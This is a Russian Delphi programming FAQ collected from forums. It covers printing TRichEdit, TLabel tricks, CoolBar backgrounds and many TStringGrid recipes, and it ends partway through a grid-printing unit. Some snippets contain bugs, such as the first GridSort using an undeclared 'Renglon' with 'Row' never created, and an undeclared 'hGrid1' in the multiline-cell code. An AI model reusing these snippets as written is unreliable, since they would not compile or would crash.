во-вторых, рисуем таблицу в вёрде, копируем в клипбоАрд. Запускаем нашу прогу и нажимаем на нопочку (btngetrtf) и нам, О чудо!!!, высвечивается буфер. То, что вы там увидите, будет очень громоздко по размерам и переполнено тегами. Для своего случая, мне нужна была небольшая табличка 4х2, я сначала копировал из вёдра, потом копировал в wordpad, и сохранял на диск. Там реально в чем-то разобраться, нежели чем из вёрда. Такой фокус прокатит только с объединенными ячейками по горизонтали, по вертикали не судьба.

В-третьих, чтобы мало по малу отредактировать наш rtf или понять что и где находится изучаем его спецификацию http://ftp.bspu.unibel.by/pub/Programming/Specifications/rtf/gc0165.exe . Что-нибудь редактируем. Вот мы получили содержимое нашего буфера. Теперь рисуем свою прогу, туда процедуру копирования в буфер, и содержимое нашего буфера.

Автор: andruxin
Взято из http://forum.sources.ru


Предпросмотр/печать TRichEdit

Чтобы вывести Rich Edit на любой канвас, нужно использовать стандартное сообщение EM_FORMATRANGE.
lParam пареметр этого сообщения содержит указатель на структуру TFormatRange.
Перед посылкой сообщения нужно заполнить эту структуру:
hdc - контекст устройства, на который будет выводиться Rich Edit
hdcTarget - контекст устройства, в соответствии с которым будет производиться форматирование текста
rc - область, в которую будет выводиться Rich Edit. Единицы измерения - твипсы (twips). Twips = 1/1440 дюйма.
rcPage - полная область вывода устройства (в твипсах)
chrg - указывает диапазон выводимого текста

chrg.cpMin и chrg.cpMax - позиции символов, определяющие кусок текста (не включая сами cpMin и cpMax)...

function  PrintRTFToBitmap(ARichEdit : TRichEdit; ABitmap : TBitmap) : Longint;
var
  range    : TFormatRange;
begin
FillChar(Range, SizeOf(TFormatRange), 0);
// Rendering to the same DC we are measuring.
Range.hdc        := ABitmap.Canvas.handle;
Range.hdcTarget  := ABitmap.Canvas.Handle;

// Set up the page.
Range.rc.left    := 0;
Range.rc.top     := 0;
Range.rc.right   := ABitmap.Width * 1440 div Screen.PixelsPerInch;
Range.rc.Bottom  := ABitmap.Height * 1440 div Screen.PixelsPerInch;

// Default the range of text to print as the entire document.
Range.chrg.cpMax := -1;
Range.chrg.cpMin := 0;

// format the text
Result := SendMessage(ARichedit.Handle, EM_FORMATRANGE, 1, Longint(@Range));

// Free cached information
SendMessage(ARichEdit.handle, EM_FORMATRANGE, 0,0);
end;

Следующий пример покажет, как вывести Rich Edit не только на любой канвас, но и также, как вывести только определённый кусок текста...

function PrintToCanvas(ACanvas : TCanvas; FromChar, ToChar : integer;
                     ARichEdit : TRichEdit; AWidth, AHeight : integer) : Longint;
var
  Range    : TFormatRange;
begin
FillChar(Range, SizeOf(TFormatRange), 0);
Range.hdc        := ACanvas.handle;
Range.hdcTarget  := ACanvas.Handle;
Range.rc.left    := 0;
Range.rc.top     := 0;
Range.rc.right   := AWidth * 1440 div Screen.PixelsPerInch;
Range.rc.Bottom  := AHeight * 1440 div Screen.PixelsPerInch;
Range.chrg.cpMax := ToChar;
Range.chrg.cpMin := FromChar;
Result := SendMessage(ARichedit.Handle, EM_FORMATRANGE, 1, Longint(@Range));
SendMessage(ARichEdit.handle, EM_FORMATRANGE, 0,0);
end;

А как вывести Rich-текст с фоновым рисунком ?
Рисуем по-отдельности фоновый рисунок и содержимое TRichEdit, а потом их соединяем...

procedure TForm1.Button2Click(Sender: TObject);
  var Bmp : TBitmap;
begin
Bmp := TBitmap.Create;
bmp.Width := 300;
bmp.Height := 300;
PrintToCanvas(bmp.Canvas,2,5,RichEdit1,300,300);
BitBlt(Image1.Picture.Bitmap.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height,
       bmp.Canvas.Handle, 0, 0, srcAND);
Image1.Repaint;
bmp.Free;
end;

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


TLabel

Cодержание раздела:

Как таскать форму за метку?
Как переделать TLabel в URL?
Как отобразить hint в TLabel?
Как осуществить ввод текста в компоненте Label?

См. также статьи в других разделах:
Как с помощью API поместить Label на Form?


Как таскать форму за метку?

procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
const SC_DragMove = $F012; { a magic number }
begin
ReleaseCapture;
Form1.perform(WM_SysCommand, SC_DragMove, 0);
end;

Автор ответа: TAPAKAH
Взято с Vingrad.ru http://forum.vingrad.ru


Как переделать TLabel в URL?

By Kevin Lange (klange@partslink.com)

Приложение содержит ссылку, которая позволяет запускать Браузер и сразу перейти по указанному в ссылке адресу. Процесс создания URL заключается в переделке компоненты TLabel в URL.

Следующие 3 шага показывают как переделать TLabel в URL.

Шаг 1 Установите в свойствах шрифта подчёркивание и цвет ссылки.
Шаг 2 Установите свойства курсора. Когда мышка попадает на URL, то курсор должен превращаться в ручку.
Шаг 3 Записываем событие OnClick для ссылки. Когда пользователь нажимает на ссылку, то запускается браузер, который автоматически переходит на заданный адрес. Однако этого мало! Нужно будет добавить в приложение ещё одну строчку
Та самая строчка:
ShellExecute(0,'open',pChar(URL),NIL,NIL,SW_SHOWNORMAL);
Внимание: функция ShellExecute содержится в ShellAPI, поэтому вам прийдётся включить его в проект.

Пример приложения

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShellAPI;

type
  TForm1 = class(TForm)
    URLLabel: TLabel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure URLLabelClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Close;
end;

procedure TForm1.URLLabelClick(Sender: TObject);
Const
  URL : String = 'http://www.sources.ru';
begin
  ShellExecute(0,'open',pChar(URL),NIL,NIL,SW_SHOWNORMAL);
end;

end.

Взято из http://forum.sources.ru


Как отобразить hint в TLabel?

На форме лежат TEdit, TCheckBox и TLabel. Я бы хотел, чтобы при наведении на TEdit или TCheckBox в TLabel отображалась "подсказка". Т.е. своего рода hint, но только отображаемый в TLabel. Как такое можно сотворить?

Такое поведение Hint в VCL предусмотренно:

procedure TForm1.DisplayHint(Sender: TObject);
begin
  Label1.caption := GetLongHint(Application.Hint);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnHint := DisplayHint;
end;

Теперь все хинты будут показываться на метке.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как осуществить ввод текста в компоненте Label?

Многие программисты задавая такой вопрос получают на него стандартный ответ "используй edit box." На самом же деле этот вопрос вполне решаем, хотя лейблы и не основаны на окне и, соответственно не могут получать фокус ввода и, соответственно не могут получать символы, вводимые с клавиатуры. Давайте рассмотрим шаги, которые были предприняты мной для разработки данного компонента.

Первый шаг, это кнопка, которая может отображать вводимый текст:

type
  TInputButton = class(TButton)
  private
    procedure WmChar (var Msg: TWMChar);
      message wm_Char;
  end;

procedure TInputButton.WmChar (var Msg: TWMChar);
var
  Temp: String;
begin
  if Char (Msg.CharCode) = #8 then
  begin
    Temp := Caption;
    Delete (Temp, Length (Temp), 1);
    Caption := Temp;
  end
  else
    Caption := Caption + Char (Msg.CharCode);
end;

С меткой (label) дела обстоят немного сложнее, так как прийдётся создать некоторые ухищрения, чтобы обойти её внутреннюю структуру. Впринципе, проблему можно решить созданием других скрытых компонент (кстати, тот же edit box). Итак, посмотрим на объявление класса:

type
  TInputLabel = class (TLabel)
  private
    MyEdit: TEdit;
    procedure WMLButtonDown (var Msg: TMessage);
      message wm_LButtonDown;
  protected
    procedure EditChange (Sender: TObject);
    procedure EditExit (Sender: TObject);
  public
    constructor Create (AOwner: TComponent); override;
  end;

Когда метка (label) создана, то она в свою очередь создаёт edit box и устанавливает несколько обработчиков событий для него. Фактически, если пользователь кликает по метке, то фокус перемещается на (невидимый) edit box, и мы используем его события для обновления метки. Обратите внимание на ту часть кода, которая подражает фокусу для метки (рисует прямоугольничек), основанная на API функции DrawFocusRect:

constructor TInputLabel.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);

  MyEdit := TEdit.Create (AOwner);
  MyEdit.Parent := AOwner as TForm;
  MyEdit.Width := 0;
  MyEdit.Height := 0;
  MyEdit.TabStop := False;
  MyEdit.OnChange := EditChange;
  MyEdit.OnExit := EditExit;
end;

procedure TInputLabel.WMLButtonDown (var Msg: TMessage);
begin
  MyEdit.SetFocus;
  MyEdit.Text := Caption;
  (Owner as TForm).Canvas.DrawFocusRect (BoundsRect);
end;

procedure TInputLabel.EditChange (Sender: TObject);
begin
  Caption := MyEdit.Text;
  Invalidate;
  Update;
  (Owner as TForm).Canvas.DrawFocusRect (BoundsRect);
end;

procedure TInputLabel.EditExit (Sender: TObject);
begin
  (Owner as TForm).Invalidate;
end;

Взято из http://forum.sources.ru


Panel, ToolBar, CoolBar

Cодержание раздела:

Как сделать ToolBar как в среде Delphi с возможностью вытаскивания кнопок?
Как поместить прозрачную фоновую каринку на компонент CoolBar?

См. также статьи в других разделах:
Как сделать меню как в Дельфи?


Как сделать ToolBar как в среде Delphi с возможностью вытаскивания кнопок?

Смотри пример $Delphi\Demos\Docking\

Автор SmaLL
Взято с Vingrad.ru http://forum.vingrad.ru


Как поместить прозрачную фоновую каринку на компонент CoolBar?

procedure TForm1.Button1Click(Sender: TObject);
var
  Bm1: TBitmap;
  Bm2: TBitmap;
begin
  Bm1 := TBitmap.Create;
  Bm2 := TBitmap.Create;
  Bm1.LoadFromFile('c:\download\test.bmp');
  Bm2.Width := Bm1.Width;
  Bm2.Height := Bm1.Height;
  bm2.Canvas.Brush.Color := CoolBar1.Color;
  bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1,
    Rect(0, 0, Bm1.width, Bm1.Height), ClWhite);
  bm1.Free;
  CoolBar1.Bitmap.Assign(bm2);
  bm2.Free;
end;


StringGrid

Cодержание раздела:

Как удалить строку в StringGrid в run-time?
Цветные ячейки в StringGrid / DBGrid?
Как снять выделение в StringGrid?
Символы разного цвета в StringGrid
Сортировка столбцов в StringGrid
Удаление колонки в StringGrid
Добавление колонки в StringGrid
Как перемещать строки и колонки в StringGrid?
Изменение размеров колонок в StringGrid
Многострочные ячейки в StringGrid.
Как сделать различные подсказки для каждой ячейки в StringGrid?
Как перехватывать горячие клавиши в StringGrid?
Автоматическая ширина колонок в TStringGrid
Можно ли обратиться к колонке или строке grid'а по заголовку?
TStringGrid --> HTML New!
Печать TStringGrid New!

См. также статьи в других разделах:
Как добавить TCheckBox в TStringGrid?
Как поместить ComboBox в ячейку StringGrid?
Помещение компонентов в StringGrid
Как перетащить целую колонку из Stringgrid в Listbox?
Как распечатать TStringGrid?
Bitmap в StringGrid ячейке.
Как импортировать данные из Excel в Stringgrid?
Как экспортировать StringGrid в MS Word таблицу?
Как экспортировать таблицу в MS Word в TStringGrid?
Буфер обмена и ячейки DBGrid New!

См. также другие разделы:
DBGrid


Как удалить строку в StringGrid в run-time?

Можно сделать наследника от TCustomGrid. А у последнего есть метод - DeleteRow.

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Например удаление текущей строки:

Type TFakeGrid=class(TCustomGrid);

procedure TForm1.MyDelete(Sender: TObject);
begin
TFakeGrid(Grid).DeleteRow(Grid.row);
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Цветные ячейки в StringGrid / DBGrid?

Автор: Alex Schlecht

StringGrids / DBGrids с цветными ячейками смотрятся очень красиво, и Вы можете информировать пользователя о важных данных внутри Grid.

Совместимость: все версии Delphi

К сожалению, невозможно применить один и тот же метод к StringGrids и к DBGrids. Итак сперва рассмотрим как это сделать в StringGrid:

1. StringGrid
=============
Для раскрашивания будем использовать событие "OnDrawCell". Следующий код показывает, как сделать в Grid красный бэкраунд. Бэкграунд второй колонки будет зелёным.

procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
  Rect: TRect; State: TGridDrawState);

Const   //сдесь определяем Ваш цвет. Так же можно использовать
        //цвета по умолчанию.
  clPaleGreen = TColor($CCFFCC);
  clPaleRed =   TColor($CCCCFF);

begin

//Если ячейка получает фокус, то нам надо закрасить её другими цветами
if (gdFocused in State) then begin
   StringGrid1.Canvas.Brush.Color := clBlack;
   StringGrid1.Canvas.Font.Color := clWhite;
end
else  //Если же ячейка теряет фокус, то закрашиваем её красным и зелёным

   if ACol = 2   //Вторая колонка будет зелёной , другие - ячейки красными
    then StringGrid1.Canvas.Brush.color := clPaleGreen
    else StringGrid1.canvas.brush.Color := clPaleRed;

//Теперь закрасим ячейки, но только, если ячейка не Title- Row/Column
//Естевственно это завит от того, есть у Вас title-Row/Columns или нет.

If (ACol > 0) and (ARow>0) then
  begin
      //Закрашиваем бэкграунд
    StringGrid1.canvas.fillRect(Rect);

      //Закрашиваем текст (Text). Также здесь можно добавить выравнивание и т.д..
    StringGrid1.canvas.TextOut(Rect.Left,Rect.Top,StringGrid1.Cells[ACol,ARow]);
  end;
end;

Если Вы захотите чтобы цвет ячеек менялся в зависимости от значения в них, то можно заменить 3 линии (if Acol = 2 ......) на что-нибуть вроде этого

if StringGrid1.Cells[ACol, ARow] = 'highlight it' then
  StringGrid1.Canvas.Brush.color := clPalered
else
  StringGrid1.canvas.brush.Color := clwhite;

Ну а теперь давайте раскрасим DBGrids:

2. DBGrid
=========
С DBGrids это делается намного проще. Здесь мы будем использовать событие "OnDrawColumnCell". Следующий пример разукрашивает ячейки колонки "Status" когда значение НЕ равно "a".
Если Вы хотите закрасить целую линию, то достаточно удалить условие "If..." (смотрите ниже)

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
  DataCol: Integer; Column: TColumn;
  State: TGridDrawState);
const
  clPaleGreen = TColor($CCFFCC);
  clPaleRed = TColor($CCCCFF);
begin

  if Column.FieldName = 'Status' then //Удалите эту линию, если хотете закрасить целую линию

    if Column.Field.Dataset.FieldbyName('Status').AsString <> 'a' then
      if (gdFocused in State) {//имеет ли ячейка фокус? } then
        dbgrid1.canvas.brush.color := clBlack //имеет фокус
      else
        dbgrid1.canvas.brush.color := clPaleGreen; //не имеет фокуса

//Теперь давайте закрасим ячейку используя стандартный метод:
  dbgrid1.DefaultDrawColumnCell(rect, DataCol, Column, State)
end;

Вот и всё. Не правда ли красиво ? :)

Взято из http://forum.sources.ru


Как снять выделение в StringGrid?

Если Вы хотете избавиться от выделенных ячеек TStringGrid, которые не имеют фокуса либо используются только для отображения данных, то попробуйте воспользоваться следующей небольшой процедурой.

procedure TForm1.GridClean(Sender: TObject);
var hGridRect: TGridRect;
begin
   hGridRect.Top := -1;
   hGridRect.Left := -1;
   hGridRect.Right := -1;
   hGridRect.Bottom := -1;
   (Sender as TStringgrid).Selection := hGridRect;
end;

Следующий код можно использовать например в событии грида OnExit:

var MyGrid: TStringGrid;
...
GridClean(MyGrid);

Взято из http://forum.sources.ru


Символы разного цвета в StringGrid

Ниже представлен юнит, который позволяет поместить текст в String Grid с символами различного цвета:

unit Strgr;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, StdCtrls, DB;

type
  TForm1 = class(TForm)
    StringGrid1: TStringGrid;
    procedure StringGrid1DrawCell(Sender: TObject; Col, Row: Longint;
      Rect: TRect; State: TGridDrawState);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.StringGrid1DrawCell(Sender: TObject; Col, Row: Longint;
  Rect: TRect; State: TGridDrawState);
const
  CharOffset = 3;
begin
  with StringGrid1.canvas do
  begin
    font.color := clMaroon;
    textout(rect.left + CharOffset, rect.top + CharOffset, 'L');
      font.color := clNavy;
    textout(rect.left + CharOffset + TextWidth('L'),
      rect.top + CharOffset, 'loyd');
  end;
end;

end.

Взято из http://forum.sources.ru


Сортировка столбцов в StringGrid

Procedure GridSort(StrGrid: TStringGrid; NoColumn: Integer);
Var Line, PosActual: Integer;
    Row: TStrings;
begin
  Renglon := TStringList.Create;
  For Line := 1 to StrGrid.RowCount-1 do
  Begin
    PosActual := Line;
    Row.Assign(TStringlist(StrGrid.Rows[PosActual]));
    While True do
    Begin
      If (PosActual = 0) Or (StrToInt(Row.Strings[NoColumn-1]) >=
          StrToInt(StrGrid.Cells[NoColumn-1,PosActual-1])) then
        Break;
      StrGrid.Rows[PosActual] := StrGrid.Rows[PosActual-1];
      Dec(PosActual);
    End;
    If StrToInt(Row.Strings[NoColumn-1]) < StrToInt(StrGrid.Cells[NoColumn-1,PosActual]) then
      StrGrid.Rows[PosActual] := Row;
  End;
  Renglon.Free;
end;

type TStringGridExSortType = (srtAlpha,srtInteger,srtDouble);

procedure GridSort(SG : TStringGrid; ByColNumber,FromRow,ToRow : integer;
                   SortType : TStringGridExSortType = srtAlpha);
var Temp : TStringList;

    function SortStr(Line : string) : string;
    var RetVar : string;
    begin
      case SortType of
           srtAlpha   : Retvar := Line;
           srtInteger : Retvar := FormatFloat('000000000',StrToIntDef(trim(Line),0));
           srtDouble  : try
                          Retvar := FormatFloat('000000000.000000',StrToFloat(trim(Line)));
                        except
                          RetVar  := '0.00';
                        end;
      end;

      Result := RetVar;
    end;

    // Рекурсивный QuickSort
    procedure QuickSort(Lo,Hi : integer; CC : TStrings);

        procedure Sort(l,r: integer);
        var  i,j : integer;
             x   : string;
        begin
          i := l; j := r;
          x := SortStr(CC[(l+r) DIV 2]);
          repeat
            while SortStr(CC[i]) < x do inc(i);
            while x < SortStr(CC[j]) do dec(j);
            if i <= j then begin
              Temp.Assign(SG.Rows[j]);      // Меняем местами 2 строки
              SG.Rows[j].Assign(SG.Rows[i]);
              SG.Rows[i].Assign(Temp);
              inc(i); dec(j);
            end;
          until i > j;
          if l < j then sort(l,j);
          if i < r then sort(i,r);
        end;

     begin {quicksort};
       Sort(Lo,Hi);
     end;

begin
  Temp := TStringList.Create;
  QuickSort(FromRow,ToRow,SG.Cols[ByColNumber]);
  Temp.Free;
end;

Взято из http://forum.sources.ru


Удаление колонки в StringGrid

Procedure GridRemoveColumn(StrGrid: TStringGrid; DelColumn: Integer);
Var Column: Integer;
begin
  If DelColumn <= StrGrid.ColCount then
  Begin
    For Column := DelColumn To StrGrid.ColCount-1 do
      StrGrid.Cols[Column-1].Assign(StrGrid.Cols[Column]);
    StrGrid.ColCount := StrGrid.ColCount-1;
  End;
end;

procedure RemoveColumn(SG : TStringGrid; ColNumber : integer);
var Column : integer;
begin
  ColNumber := abs(ColNumber);

  if ColNumber <= SG.ColCount then begin
     for Column := ColNumber to SG.ColCount - 2 do begin
        SG.Cols[Column].Assign(SG.Cols[Column + 1]);
        SG.Colwidths[Column] := SG.Colwidths[Column + 1];
     end;
     SG.ColCount := SG.ColCount - 1;
  end;
end;

Взято из http://forum.sources.ru


Добавление колонки в StringGrid

Procedure GridAddColumn(StrGrid: TStringGrid; NewColumn: Integer);
Var Column: Integer;
begin
  StrGrid.ColCount := StrGrid.ColCount+1;
  For Column := StrGrid.ColCount-1 downto NewColumn do
    StrGrid.Cols[Column].Assign(StrGrid.Cols[Column-1]);
  StrGrid.Cols[NewColumn-1].Text := '';
end;

procedure AddColumn(SG : TStringGrid; AtColNumber : integer;
                    ColWidth : integer = 0);
var Column : integer;
    Wdth : integer;
begin
  AtColNumber := abs(AtColNumber);
  SG.ColCount := SG.ColCount + 1;
  if abs(ColWidth) = 0 then
     Wdth := SG.DefaultColWidth
  else
     Wdth := ColWidth;

  if AtColNumber <= SG.ColCount then begin
    for Column := SG.ColCount - 1 downto AtColNumber + 1 do begin
      SG.Cols[Column].Assign(SG.Cols[Column - 1]);
      SG.Colwidths[Column] := SG.Colwidths[Column - 1];
    end;

    SG.Cols[AtColNumber].Text := '';
    SG.Colwidths[AtColNumber] := Wdth;
  end;
end;

Взято из http://forum.sources.ru


Как перемещать строки и колонки в StringGrid?

Пользователь может перемещать строки и колонки StringGrid при помощи мышки. Можно ли это сделать программно? В описании TCustomGrid можно увидеть методы MoveColumn и MoveRow, однако они скрыты в TStringGrid. Но нам ничего не мешает просабклассить TStringGrid и объявить эти методы как public:

type
  TStringGridX = class(TStringGrid)
  public
    procedure MoveColumn(FromIndex, ToIndex: Longint);
    procedure MoveRow(FromIndex, ToIndex: Longint);
  end;

Чтобы воспользоваться этими методами, достаточно вызвать соответствующий метод предка:

procedure TStringGridX.MoveColumn(FromIndex, ToIndex: Integer);
begin
  inherited;
end;

procedure TStringGridX.MoveRow(FromIndex, ToIndex: Integer);
begin
  inherited;
end;

Этот компонент не нужно регистрировать в палитре компонентов. Просто используйте потомка TStringGrid или любого TCustomGrid, и вызывайте его методы:

  procedure TForm1.Button1Click(Sender: TObject);
  begin
    TStringGridX(StringGrid1).MoveColumn(1, 3);
  end;

Взято из http://forum.sources.ru

Примечание от Vit: код можно написать значительно компактнее:

 type TFake = class(TStringGrid);
...

  procedure TForm1.Button1Click(Sender: TObject);
  begin
    TFake(StringGrid1).MoveColumn(1, 3);
  end;


Изменение размеров колонок в StringGrid

Ниже приведён примен кода, который позволяет автоматически подогнать размер колонки в компененте TStringGrid, под размер самой длинной строки текста в колонке:

procedure AutoSizeGridColumn(Grid : TStringGrid;
                              column : integer);
var
  i : integer;
  temp : integer;
  max : integer;
begin
  max := 0;
  for i := 0 to (Grid.RowCount - 1) do begin
    temp := Grid.Canvas.TextWidth(grid.cells[column, i]);
    if temp > max then max := temp;
  end;
  Grid.ColWidths[column] := Max + Grid.GridLineWidth + 3;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  AutoSizeGridColumn(StringGrid1, 1);
end;

Взято из http://forum.sources.ru


Многострочные ячейки в StringGrid.

Сперва необходимо установить свойство DefaultDrawing в False. Далее, необходимо вставить следующий код в обработчик события OnDrawCell:

procedure TForm1.StringGrid1DrawCell(Sender: TObject;
                                     Col, Row: Longint;
                                     Rect: TRect;
                                     State: TGridDrawState);
var
   Line1: string;
   Line2: string;
   ptr: integer;
   padding: integer;
   hGrid: TStringGrid;

begin
  hGrid:= (Sender as TStringGrid);
  ptr := Pos(';', hGrid.Cells[Col, Row]);
  if ptr > 0 then
  begin
     Line1 := Copy(hGrid.Cells[Col, Row], 1, ptr - 1);
     Line2 := Copy(hGrid.Cells[Col, Row], ptr + 1,
                   Length(hGrid1.Cells[Col,Row]) - ptr);
  end
  else Line1 := hGrid.Cells[Col, Row];
  hGrid.Canvas.FillRect(Rect);
  hGrid.Canvas.TextOut(Rect.Left, Rect.Top + 2, Line1);
  if ptr > 0 then
     hGrid.Canvas.TextOut(Rect.Left, Rect.Top -
                          hGrid.Canvas.Font.Height + 3, Line2);
end;

Теперь достаточно для переноса строки вставить в неё точку с запятой. Так же не забудьте изменить высоту строки так, чтобы переносы строки поместились в ячейку:

StringGrid1.RowHeights[0] := StringGrid1.DefaultRowHeight * 2 ;

Взято из http://forum.sources.ru


Как сделать различные подсказки для каждой ячейки в StringGrid?

Следующий пример демонстрирует отслеживаение движения мышки в компоненте TStringGrid. Если мышка переместится на другую ячейку в гриде, то будет показано новое окно подсказки с номером колонки и строки данной ячейки:

type
  TForm1 = class(TForm)
    StringGrid1: TStringGrid;
    procedure StringGrid1MouseMove(Sender: TObject;
      Shift: TShiftState; X, Y: Integer);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
      Col : integer;
      Row : integer;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  StringGrid1.Hint := '0 0';
  StringGrid1.ShowHint := True;
end;

procedure TForm1.StringGrid1MouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
var
  r : integer;
  c : integer;
begin
  StringGrid1.MouseToCell(X, Y, C, R);
  if ((Row <> r) or
      (Col <> c)) then begin
    Row := r;
    Col := c;
    Application.CancelHint;
    StringGrid1.Hint := IntToStr(r) + #32 + IntToStr(c);
  end;
end;

Взято из http://forum.sources.ru


Как перехватывать горячие клавиши в StringGrid?

Следующий пример демонстрирует перехват сообщения CM_DIALOGCHAR на уровне формы. Это даст нам возможность реагировать на диалоговые комбинации клавишь только, если нажата клавиша Alt, не давая тем самым отработать стандартному обработчику.

type
  TForm1 = class(TForm)
    Button1: TButton;
    StringGrid1: TStringGrid;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure StringGrid1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
  private
    { Private declarations }
    procedure CMDialogChar(var Message: TCMDialogChar);
      message CM_DIALOGCHAR;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  Button1.Caption := 'E&xit';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm1.StringGrid1KeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
  ShowMessage('Grid keypress = ' + Char(Key));
  Key := 0;
end;

procedure TForm1.CMDialogChar(var Message: TCMDialogChar);
begin
  if ssAlt in KeyDataToShiftState(Message.KeyData) then
    inherited;
end;

Взято из http://forum.sources.ru


Автоматическая ширина колонок в TStringGrid

Можно ли сделать так чтобы TStringGrid автоматически изменял ширину колонок, чтобы вместить самую длинную строчку в колонке?

procedure AutoSizeGridColumn(Grid: TStringGrid; column: integer);
var
  i: integer;
  temp: integer;
  max: integer;
begin
  max := 0;
  for i := 0 to (Grid.RowCount - 1) do
    begin
      temp := Grid.Canvas.TextWidth(grid.cells[column, i]);
      if temp > max then max := temp;
    end;
  Grid.ColWidths[column] := Max + Grid.GridLineWidth + 3;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  AutoSizeGridColumn(StringGrid1, 1);
end;


Можно ли обратиться к колонке или строке grid'а по заголовку?

В следующем примере приведены две функции: GetGridColumnByName() и GetGridRowByName(), которые возвращают колонку или строку, имеющую заданный заголовок (caption).

procedure TForm1.FormCreate(Sender: TObject);
begin
  StringGrid1.Rows[1].Strings[0] := 'This Row';
  StringGrid1.Cols[1].Strings[0] := 'This Column';
end;

function GetGridColumnByName(Grid: TStringGrid; ColName: string): integer;
var
  i: integer;
begin
  for i := 0 to Grid.ColCount - 1 do
    if Grid.Rows[0].Strings[i] = ColName then
      begin
        Result := i;
        exit;
      end;
  Result := -1;
end;

function GetGridRowByName(Grid: TStringGrid; RowName: string): integer;
var
  i: integer;
begin
  for i := 0 to Grid.RowCount - 1 do
    if Grid.Cols[0].Strings[i] = RowName then
      begin
        Result := i;
        exit;
      end;
  Result := -1;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Column: integer;
  Row: integer;
begin
  Column := GetGridColumnByName(StringGrid1, 'This Column');
  if Column = -1 then
    ShowMessage('Column not found')
  else
    ShowMessage('Column found at ' + IntToStr(Column));
  Row := GetGridRowByName(StringGrid1, 'This Row');
  if Row = -1 then
    ShowMessage('Row not found')
  else
    ShowMessage('Row found at ' + IntToStr(Row));
end;


TStringGrid --> HTML

procedure SGridToHtml(SG: TStringgrid; Dest: TMemo; BorderSize: Integer);
var
  i, p: integer;
  SStyle1, SStyle2, Text: string;
begin
  Dest.Clear;
  Dest.Lines.Add('<html>');
  Dest.Lines.Add('<body>');
  Dest.Lines.Add('  <table border="' + IntToStr(BorderSize) + '" width="' +
    IntToStr(SG.Width) + '" height="' + IntToStr(SG.Width) + '">');

  for i := 0 to SG.RowCount - 1 do
  begin
    Dest.Lines.Add('  <tr>');
    for p := 0 to SG.ColCount - 1 do
    begin
      SStyle1 := '';
      SStyle2 := '';
      if fsbold in SG.Font.Style then
      begin
        SStyle1 := SStyle1 + '<b>';
        SStyle2 := SStyle2 + '</b>';
      end;
      if fsitalic in SG.Font.Style then
      begin
        SStyle1 := SStyle1 + '<i>';
        SStyle2 := SStyle2 + '</i>';
      end;
      if fsunderline in SG.Font.Style then
      begin
        SStyle1 := SStyle1 + '<u>';
        SStyle2 := SStyle2 + '</u>';
      end;
      Text := sg.Cells[p, i];
      if Text = '' then Text := ' ';
      Dest.Lines.Add('    <td width="' + IntToStr(sg.ColWidths[p]) +
        '" height="' + IntToStr(sg.RowHeights[p]) +
        '"><font color="#' + IntToHex(sg.Font.Color, 6) +
        '" face="' + SG.Font.Name + '">' + SStyle1 +
        Text + SStyle2 + '</font></td>');
    end;
    Dest.Lines.Add('  </tr>');
  end;
  Dest.Lines.Add('  </table>');
  Dest.Lines.Add('</body>');;
  Dest.Lines.Add('</html>');
end;

// Example, Beispiel
procedure TFormCSVInport.Button6Click(Sender: TObject);
begin
  SGridToHtml(StringGrid1, Memo1, 1);
  Memo1.Lines.SaveToFile('c:\test.html');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Печать TStringGrid

procedure TForm1.Button1Click(Sender: TObject);
var K: Double;
begin
 Printer.BeginDoc;
 K :=  Printer.Canvas.Font.PixelsPerInch / Canvas.Font.PixelsPerInch*1.2;
 PrintStringGrid(StrGrid,
  K,  // Коэффициент
  200, // отступ от края листа в пихелах по Х
  200, // --"-- по Y
  200  // отступ снизу
  );
 Printer.EndDoc;
end;
{----------------------------------------------------------}
unit GrdPrn3;
interface
uses
 Windows, Classes, Graphics, Grids, Printers, SysUtils;
const
 OrdinaryLineWidth: Integer = 2;
 BoldLineWidth: Integer = 4;
procedure PrintStringGrid(Grid: TStringGrid; Scale: Double; LeftMargin,
TopMargin, BottomMargin:
Integer);
function DrawStringGridEx(Grid: TStringGrid; Scale: Double; FromRow,
LeftMargin, TopMargin, Yfloor: Integer; DestCanvas: TCanvas): Integer;
 // возвращает номер строки, которая не поместилась до Y = Yfloor
 // не проверяет, вылезает ли общая длина таблицы за пределы страницы
 // Слишком длинное слово обрежется
